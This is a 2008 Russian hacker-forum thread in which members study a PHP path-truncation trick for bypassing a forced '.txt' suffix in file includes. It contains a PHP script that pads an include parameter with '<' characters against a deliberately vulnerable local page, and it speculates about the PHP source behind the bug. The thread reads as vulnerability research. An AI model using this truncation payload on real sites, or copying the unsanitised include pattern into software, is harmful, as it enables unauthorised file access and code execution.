Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

30.12.2008, 14:43
|
|
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме: 4646474
Репутация:
1424
|
|
вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.
|
|
|

30.12.2008, 14:48
|
|
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме: 1607210
Репутация:
1617
|
|
Вообщем написал скрипт для быстрой проверки.
Складываем в папку z:/home/localhost/www/testinc/
Скрипт становится доступным по адресу http://www.localhost/testinc/test.php
Скрипт который запускаем ( test.php)
PHP код:
<?php
$evilstr = "";
$fp = fopen("log.txt","a");
for ($x=0;$x<=500;$x++){
$evilstr .= "<";
$content = file_get_contents("http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr);
if (preg_match("#(.*)bugworking(.*)#",$content,$matches)){
echo "http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr."\r\n";
die ("Bug working with $x added chars");
}else{
fputs($fp, $content."\r\n\r\n");
}
}
fclose($fp);
?>
Скрипт который инклюдит inc.php ложим туда же
PHP код:
<?php
error_reporting(E_ALL);
include($_GET['inc'].".txt");
?>
и ложим файл vuln.txt с содержимым
запускаем в браузере http://www.localhost/testinc/test.php
Получаю в ответ, что бага работает 216 символов и более.
Версии
PHP Version => 5.2.4
Windows NT XHOME 5.1 build 2600 Build Date хр короче
Apache 2.2.4
но стоит прописать абсолютный путь в любом варианте, и больше ни чё не пашет.
PHP код:
<?php
error_reporting(E_ALL);
include("Z:/home/localhost/www/testinc/".$_GET['inc'].".txt");
?>
Внимание вопрос. Почему ?
У кого есть идеи ?
то есть я не вижу объективных причин не работать с абсолютным путём.
__________________
Бойтесь своих желаний. Они могут исполниться....
...О-о-о-о, ушами не услышать, глазами не понять!
Последний раз редактировалось SQLHACK; 30.12.2008 в 15:35..
|
|
|

30.12.2008, 15:21
|
|
Time out
Регистрация: 28.11.2005
Сообщений: 547
Провел на форуме: 2320925
Репутация:
1348
|
|
Скрипт SQLHACK переделаный под себя не работает. Имхо - с 4.4.0 не работает
__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.
|
|
|

30.12.2008, 15:56
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
копать сорцы пшп?
|
|
|

30.12.2008, 16:05
|
|
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме: 1607210
Репутация:
1617
|
|
вот проверил несколько функций, как то странно.
require_once - работает
require - работает
include - работает
include_once - работает
file_get_contents - не работает
fopen - не работает
file - не работает
readfile - не работает
почему только функции инклюда подвержены ?
а Virtual и другие не пашут.
__________________
Бойтесь своих желаний. Они могут исполниться....
...О-о-о-о, ушами не услышать, глазами не понять!
|
|
|

30.12.2008, 16:08
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Сообщение от Spyder
копать сорцы пшп?
Угу, к тому же они не оч сложные. Надеюсь если их скомпилировать, бага останется. Имхо там гдето тупой оверфлоу должен быть, а длина обусловлена расстоянием до той строки которая фактически передастся в функцию инклуда (или может там отдельно как нибудь текущая дира передаётся и её значение и переписывается этим методом?), но это догадки. Пока времени посмотреть нет
P.S.
php-5.2.6-Win32 пример от SQLHACK работает, выдаёт "Bug working with 219 added chars".
P.P.S.
С абсолютным путём кстати и может неработать, если переписывается имено указатель на текущую директорию, относительно которой относительный путь конвертится в абсолютный. А в случае абсолютного пути, нет необходимости в вычеслении действительного пути.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 30.12.2008 в 16:54..
|
|
|

30.12.2008, 17:20
|
|
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме: 1607210
Репутация:
1617
|
|
есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути
__________________
Бойтесь своих желаний. Они могут исполниться....
...О-о-о-о, ушами не услышать, глазами не понять!
|
|
|

30.12.2008, 17:31
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Сообщение от SQLHACK
есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути
Не обязательно должен падать, мож строка где нибудь обрезается после какого нибудь предела, а всё что переписывается отношения к исполняемому коду не имеет.
А вот ещё один признак того, что скорее всего переписывается результат функции getcwd (получение текущего каталога), ну и причина того, что абсолютные пути не пашут:
Сообщение от ShAnKaR
вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.
P.S.
Вот тут: http://bugs.php.net/bug.php?id=41822
написано, что include с относительным путём вызывает getcwd.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
Последний раз редактировалось Qwazar; 30.12.2008 в 17:59..
|
|
|

30.12.2008, 17:57
|
|
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме: 5321514
Репутация:
3313
|
|
По ходу уязвимость где-то в этих функциях:
PHP код:
static int php_stream_open_for_zend(const char *filename, zend_file_handle *handle TSRMLS_DC) /* {{{ */
{
return php_stream_open_for_zend_ex(filename, handle, ENFORCE_SAFE_MODE|USE_PATH|REPORT_ERRORS|STREAM_OPEN_FOR_INCLUDE TSRMLS_CC);
}
/* }}} */
PHPAPI int php_stream_open_for_zend_ex(const char *filename, zend_file_handle *handle, int mode TSRMLS_DC) /* {{{ */
{
php_stream *stream;
stream = php_stream_open_wrapper((char *)filename, "rb", mode, &handle->opened_path);
if (stream) {
handle->type = ZEND_HANDLE_STREAM;
handle->filename = (char*)filename;
handle->free_filename = 0;
handle->handle.stream.handle = stream;
handle->handle.stream.reader = (zend_stream_reader_t)_php_stream_read;
handle->handle.stream.closer = stream_closer_for_zend;
handle->handle.stream.fteller = stream_fteller_for_zend;
handle->handle.stream.interactive = 0;
/* suppress warning if this stream is not explicitly closed */
php_stream_auto_cleanup(stream);
return SUCCESS;
}
return FAILURE;
}
php_stream_open_wrapper(); - предпологаю, что уязвимость где-то в ней
Последний раз редактировалось ChaaK; 30.12.2008 в 18:02..
|
|
|

30.12.2008, 18:01
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме: 10605912
Репутация:
4693
|
|
Сообщение от ChaaK
По ходу уязвимость где-то в этих функциях:
Я бы посмотрел ещё, где &handle->opened_path вычисляется..
З.Ы.
Второй файл что ты выложил - не в тему, он для GZIP.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|